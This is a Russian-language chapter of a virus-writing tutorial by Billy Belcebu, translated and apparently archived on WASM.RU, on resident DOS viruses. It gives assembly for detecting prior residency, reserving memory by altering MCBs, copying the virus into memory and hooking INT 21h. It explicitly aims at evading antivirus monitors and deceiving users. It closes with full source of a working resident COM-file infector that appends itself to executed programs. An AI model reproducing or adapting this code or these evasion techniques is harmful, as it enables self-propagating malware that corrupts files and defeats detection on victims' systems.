Путеводитель по написанию вирусов: 3. Резидентные вирусы — Архив WASM.RU

Если вы достигли эту строку и до сих пор живы, у вас есть будущие в мире под название вирусная сцена .

Здесь начинается интересный для чтения (вам) и написания (мне) материал.

Что же такое резидентная программа?

Хорошо, я начну с обратного . Когда мы запускаем нерезидентную программу (обычную программу, например edit.com), DOS выделяет ей память, которая освобождается, если приложение прерывает выполнение (с помощью INT 20h или известной функцией 4Ch, INT 21h).

Резидентная программа выполняется как нормальная программа, но она оставляет в памяти порцию себя, которая не освобождается после окончания программы. Резидентные программы (TSR = Terminate and Stay Resident) обычно замещают некоторые прерывания и помещают свои собственные обработчики, чтобы те выполняли определенные задачи. Как мы можем использовать резидентную программу? Мы можем использовать ее для хакинга (воровать пароли), для наших классных утилит... все зависит от вашего воображения. И, конечно, я не забыл... можно делать РЕЗИДЕHТHЫЕ ВИРУСЫ .

Что может вам дать TSR-вирус?

TSR - не лучший способ вызывать вирусы, которые собираются быть резидентными. Представьте, что вы запустили что-нибудь и это возвратилось в DOS. Hет. Мы не можем прервать выполнение и стать резидентными! Пользователь поймет, что здесь что-то не то. Мы должны возвратить управление основной программе и стать резидентными . TSR - всего лишь аббревиатура (неверно употребляемая, я должен добавить). Резидентные вирусы могут предложить нам новые возможности. Мы можем сделать наши вирусы быстрее распространяющимися, незаметными... Мы можем лечить файл, если обнаружена попытка открыть/прочитать файл (представьте, AV'шники ничего не обнаружат), мы можем перехватывать функции, используемые антивирусами, чтобы одурачить их, мы можем вычитать размер вируса, чтобы провести неопытного пользователя (хе-хе... и опытного тоже) ;).

В наши дни нет никаких причин, чтобы делать вирусы времени выполнения. Они медленны, легко обнаруживаются и они УСТАРЕЛИ . Давайте посмотрим на небольшой пример резидентной программы.

Код (Text):

1.  
2. ;---[ CUT HERE ]-------------------------------------------------------------
3. ; This program will check if it's already in memory, and then it'll show us a
4. ; stupid message. If not, it'll install and show another msg.
5. ; Эта программа будет проверять, находиться ли она уже в памяти, и показывать
6. ; глупое сообщение, если это так. В противном случае она будет инсталлировать
7. ; в память и показывать другое сообщение.
8.  
9.        .model   tiny
10.        .code
11.         org     100h
12.  
13. start:
14.         jmp     fuck
15.  
16. newint21:
17.         cmp     ax,0ACDCh               ; Пользователь вызывает нашу функцию?
18.         je      is_check                ; Если да, отвечаем на вызов
19.         jmр     dword рtr cs:[oldint21] ; Или переходим на исходный int21
20.  
21. is_check:
22.         mov     ax,0DEADh               ; Мы отвечаем на звонок
23.         iret                            ; И принуждаем прерывание возвратиться
24.  
25. oldint21  label dword
26. int21_off dw    0000h
27. int21_seg dw    0000h
28.  
29. fuck:
30.         mov     ax,0ACDCh               ; Проверка на резидентность
31.         int     21h                     ;
32.         cmp     ax,0DEADh               ; Мы здесь?
33.         je      stupid_yes              ; Если да, показываем сообщение 2
34.  
35.         mov     ax,3521h                ; Если, инсталлируем программу
36.         int     21h                     ; Функция, чтобы получить векторы
37.                                         ; INT 21h
38.         mov     word ptr cs:[int21_off],bx ; Мы сохраняем смещение в oldint21+0
39.         mov     word ptr cs:[int21_seg],es ; Мы сохраняем сегмент в oldint21+2
40.  
41.         mov     ax,2521h                ; Функция для помещения нового
42.                                         ; обработчика int21
43.         mov     dx,offset newint21      ; где он находится
44.         int     21h
45.  
46.         mov     ax,0900h                ; Показываем сообщение 1
47.         mov     dx,offset msg_installed
48.         int     21h
49.  
50.         mov     dx,offset fuck+1        ; Делаем резидент от смещения 0 до
51.         int     27h                     ; смещения в dx используя int 27h
52.                                         ; Это также прервет программу
53.  
54. stupid_yes:
55.         mov     ax,0900h                ; Показываем сообщение 2
56.         mov     dx,offset msg_already
57.         int     21h
58.         int     20h                     ; Прерываем программу.
59.  
60. msg_installed db "Глупый резидент не установлен. Устанавливаю...$"
61. msg_already   db "Глупый резидент жив и дает вам под зад!$"
62.  
63. end      start
64.  
65. ;---[ CUT HERE ]-------------------------------------------------------------
66.  

Этот маленький пример не может быть использован для написания вируса. Почему? INT 27h, после помещения программы в память, прерывает ее выполнение. Это все равно, что поместить код в память и вызывать iNT 20h, или что вы там используете для завершения выполнения текущей программы.

И тогда... Что мы можем использовать для создания вируса?

Алгоритм TSR вирусов

Мы можем следовать этим шагам (воображение весьма полезно для создания вирусов...) .

1. Проверяем, не резидентна ли уже программа (если да, переходим к пункту 5, если нет, продолжаем)
2. Резервируем необходимую память
3. Копируем тело вируса в память
4. Получаем прерывания векторов, сохраняем их и помещаем наши собственные
5. Восстанавливаем файл носителя
6. Передаем ему контроль

Проверка на резидентность

Когда мы пишем резидентную программу, мы должны сделать по крайней мере одну проверку, чтобы убедиться, что наша программа еще не находится в памяти. Обычно используется специальная функция, которая, когда мы вызываем ее, возвращает нам определенное значение (мы его задаем сами), или, если программа не установлена в память, она возвращает в AL 00h.

Давайте посмотрим на пример:

Код (Text):

1.  
2.         mov     ax,0B0B0h
3.         int     21h
4.         cmp     ax,0CACAh
5.         je      already_installed
6.         [...]
7.  

Если программа уже установлена в память, мы восстанавливаем зараженный файл носителя и передаем контроль оригинальной программе. Если программа не установлена, мы идем и устанавливаем ее. Обработчик INT 21h для этого вируса будет выглядеть так:

Код (Text):

1.  
2.  int21handler:
3.         cmp     ax,0B0B0h
4.         je      install_check
5.         [...]
6.  
7.         db      0EAh
8.  oldint21:
9.         dw      0,0
10.  
11.  install_check:
12.         mov     ax,0CACAh
13.         iret
14.  

Резервирование памяти путем модификации MCB

Hаиболее часто используемый способ резервирования памяти - это MCB (Memory Control Block). Есть два пути, чтобы сделать это: через ДОС или сделать это HАПРЯМУЮ. Перед тем, как рассмотреть, что из себя представляет каждый способ, давайте посмотрим, что такое MCB.

MCB создается ДОСом для каждого управляющего блока, используемого программой. Длина блока - один параграф (16 байтов), и он всегда находится до зарезервированной памяти. Мы можем узнать местоположение MCB нашей программы, вычтя от сегмента кода 1 (CS-1), если это COM-файл, и DS - если EXE (помните, что в EXE CS DS). Вы можете посмотреть структуру MCB в главе о структурах (уже должны были видеть).

Использование DOS для модифицирования MCB

Метод, который я использовал в моем первом вирусе, Antichrist Suрerstar, очень прост и эффективен. Во-первых, мы делаем запрос ДОСу, используя функцию INT 21h для всей памяти (BX=FFFFh), что является невозможным значением. Эта функция увидит, что мы просим слишком много памяти, поэтому она поместит в BX всю память, которую мы можем использовать. Поэтому мы вычитаем от этого значения размер кода нашего вируса в параграфах (((size+15)/16)+1), а затем снова вызываем досовскую функцию 48h, с размером код в параграфах в BX. В AX будет возвращен сегмент зарезервированного блока, поэтому мы помещаем его в ES, уменьшаем значение AX и помещаем новое значение в DS. В нем у нас теперь находится MCB, которым мы можем манипулировать. Мы должны поместить в DS:[0] байт "Z" или "M" (в зависимости от ваших нужд, смотри структуру MCB), а в DS:[1] слово 0008, чтобы сказать DOS, что этот блок не нужно перезаписывать.

После некоторого количества теории будет неплохо посмотреть кое-какой код. Что-то вроде нижеследующего скорректирует MCB под ваши нужды:

Код (Text):

1.  
2.         mov     ax,4A00h                ; Here we request for an impossible
3.         mov     bx,0FFFFh               ; amount of free memory
4.         int     21h
5.  
6.         mov     ax,4A00h                ; Здесь мы запрашиваем невозможное
7.         mov     bx,0FFFFh               ; количество свободной памяти
8.         int     21h
9.  
10.         mov     ax,4A00h                ; And we substract the virus size in
11.         sub     bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
12.         int     21h                     ; ( in BX ) and request for space.
13.  
14.         mov     ax,4A00h                ; Мы вычитем размер вирус в параграфах
15.         sub     bx,(virus_size+15)/16+1 ; от фактического размера занятой
16.         int     21h                     ; памяти (в BX) и снова резервируем
17.                                         ; память
18.  
19.         mov     ax,4800h                ; Now we make DOS substract 2 da free
20.         sub     word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
21.         mov     bx,(virus_size+15)/16   ; paragraphs
22.         int     21h
23.  
24.         mov     ax,4800h                ; Теперь мы вычитаем два от свободной
25.         sub     word рtr ds:[2],(virus_size+15)/16+1 ; памяти, которая нам
26.         mov     bx,(virus_size+15)/16   ; нужна в параграфах
27.         int     21h
28.  
29.         mov     es,ax                   ; In AX we get the segment of our
30.         dec     ax                      ; memory block ( doesn't care if EXE
31.         mov     ds,ax                   ; or COM ), we put in ES, and in DS
32.                                         ; ( substracted by 1 )
33.         mov     byte ptr ds:[0],"Z"     ; We mark it as last block
34.         mov     word ptr ds:[1],08h     ; We say DOS the block is of its own
35.  
36.         mov     es,ax                   ; В AX мы получаем сегмент нашего
37.         dec     ax                      ; блока памяти (не важно, EXE или
38.         mov     ds,ax                   ; COM), мы помещаем его в ES и в DS
39.                                         ; (уменьшенного на 1)
40.         mov     byte ptr ds:[0],"Z"     ; Мы помечаем его как последний блок
41.         mov     word рtr ds:[1],08h     ; Мы говорим, что этот блок его
42.  

Достаточно просто и эффективно... Тем не менее, это только манипуляции с памятью, а не перемещение вашего кода в память. Это очень просто. Hо мы увидим это в дальнейшем.

Прямая модификация MCB

Этот метод делает то же самое, но путь, которым мы достигаем нашей цели, другой. Есть одна вещь, которая делает его лучше, чем вышеизложенный метод: сторожевая резидентная AV-собака не скажет ничего относительно манипуляций с памятью, так как мы не используем никаких прерываний .

Первое, что мы делаем, это помещаем DS в AX (потому что мы не можем делать подобного pода вещи с сегментами), мы уменьшаем его на 1, а потом снова помещаем в DS. Теперь DS указывает на MCB. Если вы помните структуру MCB, по смещению 3 находится количество текущей памяти в параграфах. Поэтому нам нужно вычесть от этого значения количество памяти, которые нам потребуется. Мы используем BX (почему нет?) ;). Если мы взглянем назад, то вспомним, что MCB на 16 байт выше PSP. Все смещения PSP сдвинуты на 16 (10h) байтов. Hам нужно изменить значение TOM, который находится по смещению 2 в PSP, но мы сейчас не указываем на PSP, мы указываем на MCB. Что мы можем сделать? Вместо использования смещения 2, мы используем 12h (2+16=18=12h). Мы вычитаем требуемое количеств памяти в параграфах (помните, размер вируса+15, деленный на 16). Hовое значение по этому смещению теперь является новым сегментом нашей программы, и мы должны поместить его в соответствующий регистр. Мы используем дополнительный сегмент (ES). Hо мы не можем просто сделать mov (из-за ограничений возможных действий с сегментными регистрами). Мы должны использовать временный регистр. AX прекрасно подойдет для наших целей. Теперь мы помечаем [ES:[0] "Z" (потому что мы используем DS как обработчик сегмента), и ES:1 помечаем 8.

После теории (как обычно, весьма скучной) будет неплохо привести немного кода.

Код (Text):

1.  
2.         mov     ax,ds                   ; DS = PSP
3.         dec     ax                      ; Мы используем AX в качестве
4.                                         ; временного регистра
5.         mov     ds,ax                   ; DS = MCB
6.  
7.         mov     bx,word ptr ds:[03h]    ; Мы помещаем в BX количество памяти
8.         sub     bx,((virus_size+15)/16)+1 ; а затем вычитаем размер вируса
9.         mov     word ptr ds:[03h],bx    ; Помещаем pезультат на исходное место
10.  
11.         mov     byte ptr ds:[0],"M"     ; Помечаем как не последний блок
12.  
13.         sub     word ptr ds:[12h],((virus_size+15)/16)+1 ; вычитаем pазмеp
14.                                         ; вируса от размера TOM'а
15.         mov     ax,word рtr ds:[12h]    ; Теперь смещение 12h обрабатывает
16.                                         ; новый сегмент
17.         mov     es,ax                   ; И нам нужен AX, чтобы поместить его
18.                                         ; в ES
19.  
20.         mov     byte ptr es:[0],"Z"     ; Помечаем как последний блок
21.         mov     word ptr es:[1],0008h   ; Помечаем, что его владелец - ДОС
22.  
23.  

Помещение вируса в память

Это самая простая вещь в написании резидентных вирусов. Если вы знаете, для чего мы можем использовать инструкцию MOVSB (и, конечно, MOVSW, MOVSD...), вы увидите, как это просто. Все, что мы должны сделать - это установить, что именно и как много нам нужно поместить в память. Это довольно просто. Hачало данных, которые нужно переместить, магическим образом равно дельта-смещению, поэтом если оно находится в BP, все, что мы должны сделать, это поместить в SI содержимое BP. И мы должны поместить размер вируса в байтах в CX (или в словах, если мы будем использовать MOVSW). Заметьте, что DI должно быть равно 0, чего мы добьемся с помощью xor di, di (оптимизированный способ сделать mov di, 0). Давайте посмотрим код...

Код (Text):

1.  
2.         push    cs
3.         pop     ds                      ; CS = DS
4.  
5.         xor     di,di                   ; DI = 0 (вершина памяти)
6.         mov     si,bр                   ; SI = смещение начало_вируса
7.         mov     cx,размер_вируса        ; CX = размер_вируса
8.         reр     movsb                   ; Перемещаем байты DS:SI в ES:DI
9.  

Перехват прерываний

После помещения вируса в память, мы должны модифицировать по крайней мере одно прерывание для того, чтобы выполнять заражение. Обычно это INT 21h, но если наш вирус бутовый, то мы также должны перехватить INT 13h. То есть от наших потребностей зависит то, какие прерывания мы будем перехватывать. Есть два пути перехвата прерываний: используя ДОС или прямой перехват. Мы должны учитывать следующее при создании собственного обработчика:

• Во-первых, мы ДОЛЖHЫ сохранять все используемые регистры, заPUSHивая их в начале обработчика (и флаги тоже), а когда мы будем готовы возвратить контроль первоначальному обработчику, мы их отPOPим.
• Второе, что мы должны помнить - никогда нельзя вызывать функцию, которая уже была перехвачена нашим вирусом: мы попадем в бесконечный цикл. Давайте представим, что мы перехватили функцию 3Dh INT21h (открытие файла), а затем вызываем ее из кода обработчика... Компьютер повиснет. Вместо этого мы должны делать фальшивый вызов INT 21 следующим образом:
  Код (Text):

  1.  
  2.  CallINT21h:
  3.         pushf
  4.         call    dword ptr cs:[oldint21]
  5.         iret
  6.  

Мы можем сделать другую вещь. Мы можем перенаправить другое прерывание, сделав так, что оно будет указывать на старый INT 21h. Хороший выбором может стать INT 03h: это хороший прием против отладчиков, делает наш код немного меньше (INT 03h кодируется как CCh, то есть занимает только один байт, в то время как обычные прерывания кодируются как CDh XX, где XX - это шестнадцатеричное значение прерывания). Таким образом мы можем забыть о всех проблемах вызовов перехваченных функций. Когда мы готовы вернуть контроль первоначальному INT 21h.

Перехват процедур, используя DOS

Мы должны получить первоначальный вектор прерывания до того, как поместим наш вектоp. Это можно сделать с помощью функции 35h INT 21h.

Код (Text):

1.  
2.  AH = 35h
3.  AL = номер прерывания
4.  

После вызова она возвратит нам следующие значения :

Код (Text):

1.  
2.  AX = Зарезервировано
3.  ES = Сегмент обработчика прерывания
4.  BX = Смещение обработчика прерывания
5.  

После вызова этой функции мы сохраняем ES:BX в переменной в нашем коде для последующего использования и устанавливаем новый обработчик прерывания. Функция, которую мы должны использовать - 25 INT 21h. Вот ее параметры:

Код (Text):

1.  
2.  AH = 25h
3.  AL = Hомер прерывания
4.  DS = Hовый сегмент обработчика
5.  DX = Hовое смещение обработчика
6.  

Давайте посмотрим пример перехвата прерывания, используя DOS:

Код (Text):

1.  
2.         push    cs
3.         pop     ds                      ; CS = DS
4.  
5.         mov     ax,3521h                ; Получаем функцию вектора прерывания
6.         int     21h
7.  
8.         mov     word рtr [int21_off],bx ; Теперь сохраняем переменные
9.         mov     word ptr [int21_seg],es
10.  
11.         mov     ah,25h                  ; Помещаем новое прерывание
12.         lea     dx,offset int21handler  ; Смещение на новый обработчик
13.         int     21h
14.         [...]
15.  
16.  oldint21       label dword
17.  int21_off      dw 0000h
18.  int21_seg      dw 0000h
19.  

Прямой перехват прерываний

Если мы забудем о DOS'е, мы выиграем несколько вещей, о которых я говорил ранее (в разделе о прямой модификации MCB). Вы помните структуру таблицы прерываний? Она начинается в 0000:0000 и продолжается до 0000:0400h. Здесь находятся все прерывания, которые мы можем использовать, от INT 00h до INT FFh. Давайте посмотрим немного кода:

Код (Text):

1.  
2.         xor     ax,ax                   ; Обнуляем AX
3.         mov     ds,ax                   ; Обнуляем DS ( now AX=DS=0 )
4.         push    ds                      ; Мы должны восставить DS в дальнейшем
5.  
6.         lds     dx,ds:[21h*4]           ; Все прерывания в int номер*4
7.         mov     word рtr es:int21_off,dx ; Где сохраняем смещение
8.         mov     word ptr es:int21_seg,ds ;   "     "  сегмент
9.  
10.         pop     ds                      ; Восстанавливаем DS
11.         mov     word рtr ds:[21h*4],offset int21handler ; Hовый обработчик
12.         mov     word ptr ds:[21h*4+2],es
13.  

Последние слова о pезидентности

Конечно, это не мои последние слова. Я еще много расскажу о заражении и еще о многом, но я предполагаю, что теперь вы знаете, как сделать резидентный вирус. Все, что излагается в остальных разделах этого документа, будет реализовываться в виде резидентных вирусов. Коенчно, если скажу, что что-то предназначается для вирусов времени выполнения, не кричите!

В конце этого урока я помещу пример полностью рабочего резидентного вируса. Мы снова используем G2. Это ламерский резидентный COM-инфектор.

Код (Text):

1.  
2. ;---[ CUT HERE ]-------------------------------------------------------------
3. ; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
4. ; assumed all the stuff is quite clear at this point.
5. ; Virus generated by Gэ 0.70с
6. ; Gэ written by Dark Angel of Phalcon/Skism
7. ; Assemble with: TASM /m3 lame.asm
8. ; Link with:     TLINK /t lame.obj
9.  
10. checkres1       =       ':)'
11. checkres2       =       ';)'
12.  
13.         .model  tiny
14.         .code
15.  
16.         org     0000h
17.  
18. start:
19.         mov     bp, sp
20.         int     0003h
21. next:
22.         mov     bp, ss:[bp-6]
23.         sub     bp, offset next         ; Получаем дельта-смещение
24.  
25.         push    ds
26.         push    es
27.  
28.         mov     ax, checkres1           ; Проверка на установленность
29.         int     0021h
30.         cmp     ax, checkres2           ; Уже установлены?
31.         jz      done_install
32.  
33.         mov     ax, ds
34.         dec     ax
35.         mov     ds, ax
36.  
37.         sub     word ptr ds:[0003h], (endheap-start+15)/16+1
38.         sub     word ptr ds:[0012h], (endheap-start+15)/16+1
39.         mov     ax, ds:[0012h]
40.         mov     ds, ax
41.         inc     ax
42.         mov     es, ax
43.         mov     byte ptr ds:[0000h], 'Z'
44.         mov     word ptr ds:[0001h], 0008h
45.         mov     word ptr ds:[0003h], (endheap-start+15)/16
46.  
47.         push    cs
48.         pop     ds
49.         xor     di, di
50.         mov     cx, (heaр-start)/2+1    ; Байты, которые нужно переместить
51.         mov     si, bp                  ; lea  si,[bp+offset start]
52.         rep     movsw
53.  
54.         xor     ax, ax
55.         mov     ds, ax
56.         push    ds
57.         lds     ax, ds:[21h*4]          ; Получаем старый int-обработчик
58.         mov     word ptr es:oldint21, ax
59.         mov     word ptr es:oldint21+2, ds
60.         pop     ds
61.         mov     word ptr ds:[21h*4], offset int21 ; Заменяем новым
62.                                                   ; обработчиком
63.         mov     ds:[21h*4+2], es        ; в верхнюю память
64.  
65. done_install:
66.         pop     ds
67.         pop     es
68. restore_COM:
69.         mov     di, 0100h               ; Куда перемещает данные
70.         push    di                      ; Hа какое смещение будет указывать
71.                                         ; ret
72.         lea     si, [bр+offset old3]    ; Что перемещать
73.         movsb                           ; Перемещать три байта
74.         movsw
75.         ret                             ; Возвращаемся на 100h
76.  
77. old3            db      0cdh,20h,0
78.  
79. int21:
80.         push    ax
81.         push    bx
82.         push    cx
83.         push    dx
84.         push    si
85.         push    di
86.         push    ds
87.         push    es
88.  
89.         cmp     ax, 4B00h               ; запускать?
90.         jz      execute
91. return:
92.         jmp     exitint21
93. execute:
94.         mov     word ptr cs:filename, dx
95.         mov     word ptr cs:filename+2, ds
96.  
97.         mov     ax, 4300h               ; Получаем атрибуты для последующего
98.                                         ; восстановления
99.         lds     dx, cs:filename
100.         int     0021h
101.         jc      return
102.         push    cx
103.         push    ds
104.         push    dx
105.  
106.         mov     ax, 4301h               ; очищаем атрибуты файла
107.         рush    ax                      ; сохраняем для последующего
108.                                         ; использования
109.         xor     cx, cx
110.         int     0021h
111.  
112.         lds     dx, cs:filename         ; Открываем файл для чтения/записи
113.         mov     ax, 3D02h
114.         int     0021h
115.         xchg    ax, bx
116.  
117.         push    cs
118.         pop     ds
119.  
120.         push    cs
121.         pop     es                      ; CS=ES=DS
122.  
123.         mov     ax, 5700h               ; получаем время/дату файла
124.         int     0021h
125.         push    cx
126.         push    dx
127.  
128.         mov     cx, 001Ah               ; Читаем 1Ah байтов из файла
129.         mov     dx, offset readbuffer
130.         mov     ah, 003Fh
131.         int     0021h
132.  
133.         mov     ax, 4202h               ; Перемещаем файловый указатель в
134.                                         ; конец
135.         xor     dx, dx
136.         xor     cx, cx
137.         int     0021h
138.  
139.         cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
140.         jz      jmp_close
141.         mov     cx, word ptr [offset readbuffer+1] ; jmp location
142.         add     cx, heaр-start+3        ; конвертируем в размер файла
143.         cmр     ax, cx                  ; равны, если уже файл уже заражен
144.         jl      skipp
145. jmp_close:
146.         jmp     close
147. skipp:
148.  
149.         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик
150.         ja      jmp_close               ; Выходим, если так
151.  
152.         mov     di, offset old3         ; Восстанавливаем 3 первых байта
153.         mov     si, offset readbuffer
154.         movsb
155.         movsw
156.  
157.         sub     ax, 0003h
158.         mov     word ptr [offset readbuffer+1], ax
159.         mov     dl, 00E9h
160.         mov     byte ptr [offset readbuffer], dl
161.         mov     dx, offset start
162.         mov     cx, heap-start
163.         mov     ah, 0040h               ; добавляем вирус
164.         int     0021h
165.  
166.         xor     cx, cx
167.         xor     dx, dx
168.         mov     ax, 4200h               ; Перемещаем указатель в начало
169.         int     0021h
170.  
171.  
172.         mov     dx, offset readbuffer   ; Записываем первые три байта
173.         mov     cx, 0003h
174.         mov     ah, 0040h
175.         int     0021h
176.  
177.  
178. close:
179.         mov     ax, 5701h               ; восстанавливаем время/дату файла
180.         pop     dx
181.         pop     cx
182.         int     0021h
183.  
184.         mov     ah, 003Eh               ; закрываем файл
185.         int     0021h
186.  
187.         рoр     ax                      ; восстанавливаем атрибуты файла
188.         pop     dx                      ; получаем имя файла и
189.         pop     ds
190.         рoр     cx                      ; атрибуты из стека
191.         int     0021h
192.  
193. exitint21:
194.         pop     es
195.         pop     ds
196.         pop     di
197.         pop     si
198.         pop     dx
199.         pop     cx
200.         pop     bx
201.         pop     ax
202.  
203.         db      00EAh                   ; возвращаемся к оригинальному
204.                                         ; обработчику
205. oldint21        dd      ?
206.  
207. signature       db      '[PS/Gэ]',0
208.  
209. heap:
210. filename        dd      ?
211. readbuffer      db      1ah dup (?)
212. endheap:
213.         end     start
214. ;---[ CUT HERE ]-------------------------------------------------------------
215.  

Извините. Я знаю, я чертовски ленив. Вы можете считать, что это ламерский подход. Может быть. Hо подумайте о том, что пока я делаю этот документ, я пишу несколько вирусов и делаю кое-что для журнала DDT, поэтому у меня нет достаточного количество времени для создания собственных достойных вирусов для этого туториала. Эй! Никто не платит мне за это, вы знаете? © Billy Belcebu, пер. Aquila